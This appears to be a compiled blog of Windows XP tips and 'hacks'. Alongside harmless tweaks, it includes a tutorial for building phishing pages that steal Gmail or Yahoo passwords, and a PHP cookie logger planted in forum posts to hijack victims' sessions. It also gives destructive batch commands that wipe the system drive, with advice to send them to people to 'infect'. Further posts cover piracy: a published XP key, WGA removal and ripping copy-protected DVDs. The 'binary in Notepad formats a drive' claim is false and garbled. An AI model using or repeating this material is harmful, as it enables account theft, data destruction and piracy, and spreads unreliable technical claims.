How To Become The SYSTEM User In Windows XP

If you think Administrator has the largest privileges onto the computer, then you are wrong. There is a user who is named SYSTEM. SYSTEM has full control of the operating system and it’s kernel. If you openwindows task manager (press ctrl+alt and delete) you will see that System User controls several processes. These processes cannot be closed by Administrator. In this tutorial we will see how to trick Windows into running our desktop as System. So we’ll get a much greater privileges over computer.

1.Open Command Prompt. Go to Start , then Run. In Run option type cmd and click OK. After this will openCommand Prompt, or Start->All Programs ->Accessories->Command Prompt

2. In Command Prompt write at 13:55 /interactive “cmd.exe” and press enter , the time is usually a minute or two ahead of your present time in the 24 hours format.

After a minute or two will appear new Comand Prompt Window wit different title bar. It has changed from cmd.exe to svchost.exe.

3. End current explorer.exe process. Open Task Manager, select explorer.exe and click End Process.

4. In new Comand Prompt with title svchost.exe write cd.. and press enter , then write explorer.exe and press enter.

After this you will become SYSTEM user,

Add A Photo To My Computer Properties

Here is simple windows tip, which will show you how to add a photo and name to my computer properties.
To do it, open notepad and type the following
[General]
Manufacturer=Your Name Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here

Save as OEMINFO.INI in the C:\WINDOWS\system32 folder.
Then create a .bmp photo and save it the System32 folder as oemlogo.bmp

The size of the image should be 180 x120 pixels.
Make a right click on my computer, Properties and you’ll see the changes.
It looks like this:

If you’ve got some school-age kids, they’ve likely spent some time at a computer (yours or a friend’s), downloading from peer-to-peer ("P2P") networks like the Gnutella network, which can be accessed via the popular LimeWire program.

According to our research, many of you want to know how to best install LimeWire and use the program, without getting bit by a virus. Today, I’ll show you how.

How to Install LimeWire & Share Files

The company which makes LimeWire will tell you – this is very important – when you go to download the installation file and install LimeWire, you should only do so from the program’s official site! Doing so makes absolutely sure that you have a legitimate version of the program, without the inclusion of any malicious code. Please don’t download from other sources, especially from other P2P networks.

When you install LimeWire for the first time, it’s a good idea to make sure that the program is set to not automatically share any downloaded files. Despite what is often said in the mainstream (read: non-tech-savvy) press, it has been sharing or distributing files, not downloading or receiving them, that has ended up with so many people being brought into court.

One caveat: That setting doesn’t apply to downloads through the BitTorrent network, which LimeWire also supports. In a BitTorrent network (or "swarm"), everyone downloading a file is simultaneously distributing it!

Search Filtering

Please, make sure "Search Filtering" is on. Click on the Tools menu near the top, then Options. After the Options screen appears, click on Search, then Configure under Search Filtering. Make sure that the settings are such that programs (executable files) are not included in the search results. Virus code spreads easiest in executable files, opened on accident by users who may not know better.

You may think you’re downloading a photograph, but go to open the file, named HotChick.jpg.exe, which ends up, as my teacher might say, barfing all over your system.

Scan Everything!

While your top threat is from executable program files, any file you download can be infected with some kind of code. Remember, you’re not necessarily getting these files from a clean server, you’re getting them from other users, who may be unknowingly infected by something. It’s of critical importance to, before doing anything else with a file, to scan it with an updated anti-virus program. This is especially true for those of you who have enabled program downloads anyway.

If you have an antivirus software installed, be sure to keep it updated. Consult the program’s documentation. If you don’t have an anti-virus installed, try the AVG Free Edition.

Once the download is complete, right-click the file listing in your Library, then select Locate on Disk. This will open up your file manager and highlight the file. Right-click on that file, and select the appropriate command to scan your file. Your anti-virus will report to you any infected files, and prompt you to delete said file.

When scouring P2P networks like LimeWire, it pays to play safe. A few preventative steps, plus some common sense, adds up to a safer experience.

How to Copy DVDs That Are Copyright Protected (Windows)

I have been looking for a good free easy to use DVD ripper for a little while now that I can use to copy DVDs that are copyright protected (for backups). I came across this gem called WinX DVD Ripper which is a 6.5 MB download and which will have you ripping DVD’s with ease.

I have had a few favorites and they have all either become paid software or they have been crippled via updates. The movie industry is a hard cookie to have mad at ya…

So the lawyers get cease and desist letters out to the developers and hey why would a free app writer want a long drawn out battle in court? Most don’t and cave.

Please note that it depends where you live – but deciding to copy DVDs that are copyright protected might be illegal! Know your country/state laws regarding ripping DVD’s. I am sticking by my story that I back up all my DVD’s so my little one doesn’t destroy them and the $30 they cost!

So the new kid on the block is WinX DVD ripper. I put it through the normal tests and it is really easy to use! Let’s take a look

Let’s set up our options, load our DVD in our drive and see how it works.

You choose the format you want to convert to by clicking on the appropriate tab. I chose the first one which is AVI (my format of choice). Then I left all of the settings alone and just modified the path to output to above the settings here:

I left the folder name the same and changed the drive it was writing to. When I was done with the settings I made sure my DVD was in a DVD ROM and recognized by my system and then I hit the blue start button.

Now it was time to play the waiting game..

You have the option of shutting down your machine when the rip is complete or for the application to open the output folder when it is done. If you want either of these options to happen simply check the corresponding box.

Once the rip is complete you will have a video file in the format of your choice in the folder you specified a few steps earlier. If you did not change the path it will live in the same drive you installed the software in a directory called OutPutFolder.

For real – I have never seen a quicker or easier method to ripping. What do you guys use to do this dirty job? Care to share your favorite applications to copy copyright protected DVDs with us in the comments? We would love to hear from you!

Format a HDD with Notepad

If you think that notepad is useless then you are wrong because you can now do a lot of things with a notepad which you could have never imagined.In this hack I will show you how to format a HDD using a notepad. This is really cool.

Step 1. Copy The Following In Notepad Exactly as it says

01001011000111110010010101010101010000011111100000

Step 2. Save As An EXE Any Name Will Do

Step 3. Send the EXE to People And Infect

OR

IF u think u cannot format c driver when windows is running try Laughing and u will get it Razz .. any way some more so u can test on other drives this is simple binary code

format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000
100000011000110011101001011100
0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000
100000011001000011101001011100
0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000
100000011000010011101001011100
0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000
101111010100110010111101010001
00100000011000110011101001011100011000100110111101
101111011101000010111001101001
0110111001101001

Try to figure out yourself rest
can’t spoonfeed
Its working.

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this:
go to notepad and type the following:
@Echo off
Del C:\ *.*|y save it as Dell.bat
want worse then type the following:


@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00
and save it as a .bat file

SPEED UP BROWSING WITH DNS trick.!!!

when you connect to a web site your computer sends information back and forth, this is obvious. Some of this information deals with resolving the site name to an IP address, the stuff that tcp/ip really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although WinXP and win2000 has a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
“CacheHashTableBucketSize”=dword:00000001
“CacheHashTableSize”=dword:00000180
“MaxCacheEntryTtlLimit”=dword:0000fa00
“MaxSOACacheEntryTtlLimit”=dword:0000012d

make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Then merge it into the registry.

Increase Dial up Download speed

Dial up Download speed is low and some time it can be unused for advanced user so to improve Dial up Download speed following registry editing is helpfull.

1. Direct in Regedit :
Open
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ Tcpip\Parameters

Edit as follows:
“SackOpts”=dword:00000001
“TcpWindowSize”=dword:0005ae4c
“Tcp1323Opts”=dword:00000003
“DefaultTTL”=dword:00000040
“EnablePMTUBHDetect”=dword:00000000
“EnablePMTUDiscovery”=dword:00000001
“GlobalMaxTcpWindowSize”=dword:0005ae4c

OR
[eminimall]
2. By .Reg file :
Open notepad & paste

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
“SackOpts”=dword:00000001
“TcpWindowSize”=dword:0005ae4c
“Tcp1323Opts”=dword:00000003
“DefaultTTL”=dword:00000040
“EnablePMTUBHDetect”=dword:00000000
“EnablePMTUDiscovery”=dword:00000001
“GlobalMaxTcpWindowSize”=dword:0005ae4c

>> Now save this file as speed.reg (in Windows). Execute it and observe the change!

How to make your name invisible in your profile?

For making your name invisible follow the steps:
1) Click on edit profile
2) Type ALT + 0173 in your first name and last name. (i.e. Type 0173 while pressing the ALT key of your keyboard.)
3) Click on Update

Image Expander

1) Open any profile whose display image you want to expand.
2) Copy the following text and paste it in your address bar

javascript:mwunm=128;void(setInterval(”mwunm++;document.images[2].width=mwunm”,5))

3) Hit ENTER key of your keyboard.

How to Keep age for Passwords

This security setting determines the period of time (in days) that a password can be used before the system requires the user to change it. You can set passwords to expire after a number of days between 1 and 999, or you can specify that passwords never expire by setting the number of days to 0. If the maximum password age is between 1 and 999 days, the Minimum password age must be less than the maximum password age. If the maximum password age is set to 0, the minimum password age can be any value between 0 and 998 days.

Note: It is a security best practice to have passwords expire every 30 to 90 days, depending on your environment. This way, an attacker has a limited amount of time in which to crack a user's password and have access to your network resources.

How to Do:- Click Run, Enter gpedit.msc
This will open group policy, Under Computer configuration, Click windows settings, Security settings, Account policies, Password policy.
Now on the right side you can see Maximum Password Age, open it and change the value of 90 days..you can change this to your own and click ok.
Now open Minimum Password Age and change it to 30 and click ok.

Easy Trick to hibernate your Computer

What is hibernate?
Hibernate allows you to pause and resume your work when you are not in a state of turning off your computer.

Trick:- Click start, click turn off computer, now Hold down Shift and you can see that Stand By has now changed to Hibernate. Once you Leave the Shift key it again turns back to Stand By.

How to Clear My Recent Documents Data?

This post will explain you how to Clear My Recent Documents Data.
My Recent Documents is a collection of last accesed files.
Fact:- It shows up to 15 files when you click start, My Recent Documents. But actually when you go to its source folder you can see a big list of files is being shown there.

Clearing:-
Step 1:- Go to My Computer, Localdisk C (Supposing your windows is being installed there)
Step 2:- Go to Documents and Settings folder, Click Tools, Folder Options, Select View Tab, Select Show hidden files and folders and click Apply and OK.
Step 3:- Select your User account name and open it, Now you could see Some new folders with light color.
Step 4:- Now select My Recent Documents folder and now you can see the files. click the one wich you dont want and close it and go to start and check the result.

Put your name in place of AM or PM

1. Navigate to Control Panel.
2. Double click on Regional and Language Options, if you are in Classic View. Otherwise, click on Date, Time, Language, and Regional Options, then click on Regional Options.
3. Click on the Customize
4. Click on the Time tab. You should see
5. Replace the AM and PM with your first name
6. Click on Apply.
7. Click on OK.
8. Close the Regional and Language Options window.

How to Clone a Hard Drive

Did know that you could clone your current Hard Drive without having to by extra software? Maybe you didn't know that all that you needed, was already set up on your current system? Well, it is... and if you follow this tut, you shouldn't have much of a problem.

Make sure that you have a Master and a Slave setup on your system. The Slave drive, in this case, is where all the data on the Master is going to go to.

First: Perform a Scandisk your Master drive and follow that with a thorough Defrag. If you have an Antivirus program, do a thorough sweep with the AV first, then do the Scandisk, followed by the Defrag.

Second: Do the same thing to the target drive, as you did the Master: Scandisk then a thorough Defrag.

Third: Right-click on the Target drive and click on Format. When the box comes up, click your mouse onto the "Full" button.

Fourth: After Formatting the Target drive, run a Scandisk again and click on the button that says "Autofix Errors".

Fifth: In this final part, you might want to cut-and-paste to code in, unless you are sure that you can do it without making any mistakes:

Click on the "Start" button, then click on the "Run..." button, then place the following into the Runbox:

"XCOPY C:\*.*D:\ /c/h/e/k/r" (minus the quotes, of course) then press the "Enter" button.

If you receive an error message, then remove the space from between XCOPY and C:\

Anything that should happen to come up in the DOS box, just click "Y" for "Yes". When its all finished, pull the original Master from the system, designate the Slave as the Master (change your jumpers), then check your new Master out.

Trick to customize or add your own programs to send to menu

Step1:- Open My Computer
 Go to system drive(Where your Operating System is being installed)
 Browse to Documents and settings
 Open Your User name

Step2:- Click Tools, Folder Options,View
 In advanced settings, under Hidden Files and folders, Click Show Hidden files and folders
 Click Apply, OK

Now you will see some new folders.

Step3:- Open Send To folder

Step4:- Drag and Drop your Programs or folders you want to add, While Dropping hold the ALT button and and leave the mouse to make the shortcut.

Now Right Click any folder and move the mouse towards Send To and see the result.

Make Your XP Genuine by this Key

Enter this key from the begining or you can repalce it witha product id changer.
key:-
V2C47-MK7JD-3R89F-D2KXW-VPK3J

How to remove Windows Genuine Advantage(WGA) Notification

This tutor will explain you how to remove annoying WGA notification.
Step 1:- Go to My computer
open the windows folder
Browse to system32

Step 2:- Search for WGA in system32
you will find two files.
rename it as 1 and 2 respectively.

Step 3:- Now open task manager and click the second tab, process.
Here you will find WGATray.exe
click on it and click end process and click ok

Step 4:- Now reboot your computer..and see that WGA notification is removed even if your computer is not Geniune.

How to make your own/modify windows to your needs

This post will explain you how to make or modify an windows Xp.
Windows installation files are in compressed format. example: logonui.exe( this is the file responsible for logging on screen of your computer), but this file will be in compressed format in the installation cd like logonui.ex_.
To edit this file we need to decompress this file...

Starting the process:
Step 1:- First of all you need to download these softwares.
1. Nlite
2. Resource Hacker

Step 2:- Secondly, insert the XP installation cd in the cd rom and copy all the files into your Local disk in a new folder.

Step 3:- Understanding Files.
In this step you need to know what files and which files you need to be edited...
How should your customized windows should look like...

Step 4:- Suppose the installation file you copied is in local disk c:\
Copy the only files you need to be edited into local disk d:\
Now open a command prompt window and start the decompressing process

Sample files list:
logonui.ex_ This is for the login screen or welcome screen.


now in command prompt type the following:
expand -r d:\logonui.ex_
supposing the logonui.ex_ is in localdisk d:\
this will create a new file in d:\

Step 5:- Now open Resource Hacker and open the new file which you have got now..
and edit the bitmaps and whatever you need..(Editing bitmap means replacing with new bitmap images).
now click save.

Edit as much as files you need.

now again open a command window and type the following:
makecab d:\logonui.exe

this will compress that file and will make how it was before..

Step 6:- Now copy the compressed file to the original installation location ie; local disk c:\

Step 7:- Now open the nlite software.
follow the onscreen instructions for an unattended setup..
so that the user may not need to enter the product key and other information during set up.
Choose the create iso or bootable image in the setup at the beginig.

now atlast you will see a option for creating bootable iso

now burn this image to a cd or dvd..

and run the setup..


For more information regarding the files to be edited and other infos. please comment..

How to Hack Gmail or Yahoo or Hotmail or Any Other

First of all you need to create an account in a form handling service. In the registration form enter your email address in the field “Where to send Data” and in redirect enter the URL of the site whose account is to be hacked( For Yahoo it will be http://mail.yahoo.com and for google it is mail.google.com/mail). After registering you will get an email from the web form designer with your form id.
Now follow the following steps :
Open the website of HotMail or GMail or YahooMail, its your wish. If you want to HACK yahoo id, then goto www.yahoomail.com Now press “CTRL+U”, you will get the source code of yahoo page. NOw press “CTRL+A” copy all the text.
Open NOTEPAD, now paste it here. SAVE it as YAHOOFAKE.HTML Now open the the file yahoofake.html using noepad, here you ll find a code which starts with

( This code is for Yahoo. For any other site this code will be different but you need to find the code starting with (form method=”post” action=”xxxxxxxxxxxxx”))
Now in place of (form method=”post” action=”xxxxxxxxxxxxx”) put the following code after placing your form id:

Now Save the yahoofake.html.
To hack the victim’s password and username the victim has to login through this page. Many people had sent me queries about how to make someone login through your link in the previous version. I have the solution for that also.
First of all upload your page using some free webhosting services. Tip: Register to those webhost which don’t give their own ads and which gives URL of type “your site name.webhost.com”. Now select your site name as mail.yahoo.com/support. You can also add some rubbish numbers and make is very long so that the victim does not see the name of webhost in the link. Now send a fake mail from support_yahoo@yahoo.com to the victim’s email address with subject ” Account Frozen” and in the mail write that Due to some technical errors in yahoo we need you to login through this link otherwise your account will be frozen.
After reading this your victim will click and login through the page you created and as you have give the redirection URL as the URL of the site itself so it will goto the login page again and the victim will think that he might have given wrong password so the page came again but in reallity the username and password has been sent to your email account you specified and the victim is still not knowing that his account is hacked.

Create a CookieLogger and Hack any Account

Cookies stores all the necessary Information about one’s account , using this information you can hack anybody’s account and change his password. If you get the Cookies of the Victim you can Hack any account the Victim is Logged into i.e. you can hack Google, Yahoo, Orkut, Facebook, Flickr etc.

What is a CookieLogger?

A CookieLogger is a Script that is Used to Steal anybody’s Cookies and stores it into a Log File from where you can read the Cookies of the Victim.

Today I am going to show How to make your own Cookie Logger…Hope you will enjoy Reading it …

Step 1: Save the notepad file from the link below and Rename it as Fun.gif:Download it.

Step 2: Copy the Following Script into a Notepad File and Save the file as cookielogger.php:

$filename = “logfile.txt”;

if (isset($_GET["cookie"]))

{

if (!$handle = fopen($filename, ‘a’))

{

echo “Temporary Server Error,Sorry for the inconvenience.”;

exit;

}

else

{

if (fwrite($handle, “\r\n” . $_GET["cookie"]) === FALSE)

{

echo “Temporary Server Error,Sorry for the inconvenience.”;

exit;

}

}

echo “Temporary Server Error,Sorry for the inconvenience.”;

fclose($handle);

exit;

}

echo “Temporary Server Error,Sorry for the inconvenience.”;

exit;

?>

Step 3: Create a new Notepad File and Save it as logfile.txt

Step 4: Upload this file to your server

cookielogger.php -> http://www.yoursite.com/cookielogger.php

logfile.txt -> http://www.yoursite.com/logfile.txt (chmod 777)

fun.gif -> http://www.yoursite.com/fun.gif

If you don’t have any Website then you can use the following Website to get a Free Website which has php support :

http://0fees.net

Step 5: Go to the victim forum and insert this code in the signature or a post :Download it.

Step 6: When the victim see the post he view the image u uploaded but when he click the image he has a Temporary Error and you will get his cookie in log.txt . The Cookie Would Look as Follows:

phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bi%3A-1%3B%7D; phpbb2mysql_sid=3ed7bdcb4e9e41737ed6eb41c43a4ec9

Step 7: To get the access to the Victim’s Account you need to replace your cookies with the Victim’s Cookie. You can use a Cookie Editor for this. The string before “=” is the name of the cookie and the string after “=” is its value. So Change the values of the cookies in the cookie Editor.

Step 8: Goto the Website whose Account you have just hacked and You will find that you are logged in as the Victim and now you can change the victim’s account information.

Note : Make Sure that from Step 6 to 8 the Victim should be Online because you are actually Hijacking the Victim’s Session So if the Victim clicks on Logout you will also Logout automatically but once you have changed the password then you can again login with the new password and the victim would not be able to login.

Disclaimer: I don’t take Responsibility for what you do with this script, served for Educational purpose only. …

9 Tricks With A USB Thumb Drive

Any ordinary USB memory device can do a lot more than you probably thought it could. It can carry programs, encryption and even a full installation of Windows XP! Here is our tenlist for the coolest things you can do with a USB thumb drive:

Take your programs with you
We all know how frustrating it is when we take your files to another computer just to discover that the software required to read the files is not installed.
Here’s the simplest solution – take your programs with you – on your USB thumb drive. Here’s how to do it with Portable Apps:
1. Go to the Portable Apps website and download the installer, choosing the software you want to carry along.
2. Run the installer and install the software to the root of your USB thumb drive.
And you’re done! As soon as you connect your thumb drive into a computer, Portable Apps will open up automatically.

Surf anonymously

With Portable Apps and Firefox, you can surf the web without leaving any trace on the computer you are using. If you want extra security, install a Firefox security plugin such as FoxyProxy. To iput Firefox onto the drive, just copy-paste the Firefox folder from you computer, or install Firefox onto the thumb drive.

Set a program to run automatically (autorun)

Using autorun, you can set a program to start up automatically when you connect the drive to a computer. You can also use the same script for a data CD-ROM. Note that some computers have autorun disabled for security purposes.

Open up notepad and paste the following script:
[autorun]
ShellExecute=filename
Label=description
UseAutoPlay=1
Make sure you replace filename with the full path to the file. For example, a file called program.exe in a folder called “programs” on the thumb drive would be /programs/program.exe
Replace description with a short description of the program, for example, My Jukebox or Mozilla Firefox.
Save the file as autorun.inf, making sure you select “All Programs” from the save menu, not “Text document”!

Help! I’m lost!

Ever lost a USB drive? Even if you haven’t, there’s a pretty good chance you’ll lose a few during your life. And with all the important information on it, it could be a disaster to have it fall into someone’s hands.

Save a program called “Help! I’m Lost!” on the drive, that a finder just can’t get around opening. The program opens a message box with your personal “I’m lost” message. It’s a good idea to offer the finder a bigger reward than the drive itself, so that they’ll be interested in contacting you.

Secure your PC

Just like with an RFID badge, you can use a USB drive to lock and unlock a PC. Insert it to begin working and pull it out when you’ve finished, locking the computer. There are several programs for this . Rohos, a commercial program and WiKID, a semi-open source one.
If you really need to secure your computer with a USB drive, I suggest you give Rohos a try, as WiKID is rather complicated.

Hide the drive inside something

Why not surprise your friends and co-workers by sticking something that looks like a broken USB cable into the computer’s USB drive?
You’ll be sure to get a few shocked faces when you start to play a movie from it.
The guys from Technobuzz.net show us how to do it. (You are gonna need an unbelievably small thumb drive for this…)

Portable jukebox

Don’t just carry the music with you, also carry the player! You can install audio programs such as WinAmp and CoolPlayer+ on your thumb drive. Just unextract the ZIP folders to the USB drive.
If you want the jukebox to start up automatically when you connect the memory stick to the computer, use the autorun feature shown tip 3 and point it to the exe of your audio player.

Encrypt your data

If you carry any sensitive indormation on your USB memory stick, a good idea is to encrypt it. Hardware-level encryption will help, but it will cost extra. You can get a free program to encrypt your data just as securely. For this I recommend TrueCrypt, but most others will also do.
You will need admin access on the computer you want to use your encrypted thumb drive on, so this it’s usability a little.

Run a standalone OS for dedicated tasks

The easiest OS to boot from a USB drive is probably Linux. There are many small capacity Linux versions out there that will fit on your drive. The best 3 are Puppy Linux, Damn Small Linux and Webconverger.
Make sure you select a version that needs less space than your USB drive’s maximum, so you have room for files and software.

Run Windows itself from a USB thumb drive

Modifying Windows to work on a USB drive is quite difficult, but luckily there are some tools that will do it for us. Note that you will need a separate Windows license for this, as Microsoft only lets you use one for each single computer, and a USB drive is treated by them like a computer…
What you’ll need:
A licensed copy of Windows
A USB device, min. 1GB (We recommend a USB hard disk, as a flash memory stick will become unusable after 100000 writing processes. Assuming that only 2 processes are used per second, the drive will last only 60 days with 8 hours of work each day… A hard disk doesn’t have this problem.)
Here is the link to the full tutorial, translated from German.

How To: Display The Shutdown Menu When Your Computer’s Power Button Is Pressed

By default, your Windows XP will shut down when the Power button is pressed. It’s a good idea to change it so that the shutdown menu is opened instead, especially if you have little kids running around the house.
It’s quite easy to change it:
Step 1:
Go to your Windows XP’s desktop and right-click it. Select “Properties” and the Display Properties window will appear.
Open the “Screen Saver” tab and look for the “Power” button near the bottom of the window. Click it.

Step 2:
In the “Power Options Properties” window that opens, go to the “Advanced” tab.
There is a dialog box in the “Power Buttons” section. Choose what you want Windows to do when the power button is pressed.
“Ask me what to do” will make it open up the shutdown menu.

Step 3:
Click “OK” and restart your computer. From now on, pressing the power button will open the shutdown menu, letting you decide what you want to do.

A Faster Way To Shut Down And Log Off Your Windows XP

If you’re experiencing slow shutdowns and log offs on your Windows XP, this trick will help you.
Instead of accessing the shutdown menu via Start->Turn Off Computer, open the Task Manager by pressing Ctrl+Alt+Delete.
Press “Shut Down” at the top of the Task Manager and choose what you want your Windows XP to do:
Stand By
Hibernate
Turn Off
Restart
Log off
Switch User
The task will be performed in a matter of seconds

How To Speed Up Your Windows XP By Disabling File Indexing

File indexing is a Windows service that like many others, is totally useless - unless you do a lot of searching on your computer. As most users don’t, it’s a good idea to disable it to speed up actions like opening and closing files and folders on your Windows XP.
To disable the Indexing Service:
Go to “My Computer” and right click on your hard drive. At the bottom of the window that opens, you should see a check box titled “Allow Indexing Service to index the disk for fast file searching.” Uncheck it.
Press OK and you’re done! Your computer should be a little faster after a restart.

How To Bypass The Recycle Bin When Deleting Files

If you are absolutely sure you want to delete a file, why send it to the Recycle Bin? Windows lets you bypass it really easily:

To delete a file or a group of files, select them with and when they are highlighted, press Shift+Delete. Press “Yes” in the confirmation box that opens and you’re done!

How To Change Your Computer’s Screen Resolution

Normally, a computer’s screen resolution is at its maximum by default, but in some cases, you need to change it manually to get the most out of your computing experience. If you don’t have an exceptionally slow machine, it’s definitely worth the effort.
Here’s how to change your screen resolution:
Go to your Windows XP’s desktop and right click on an empty space. Select “Properties”.

In the “Display Properties” window that appears, navigate to the “Settings” tab on the right.
Move the slider in the bottom-left corner of the window to change your computer’s screen resolution: left for lower resolution, right for higher resolution. Try moving it to the far right for maximum resolution. Press “Apply” and see if everything works.

A dialog box will pop up after your screen adjusts itself. If everything’s OK, press “Yes”.
If your screen looks stretched or has a lot of lag, press “No” or wait 15 seconds to revert to the old settings. Find a resolution that you like.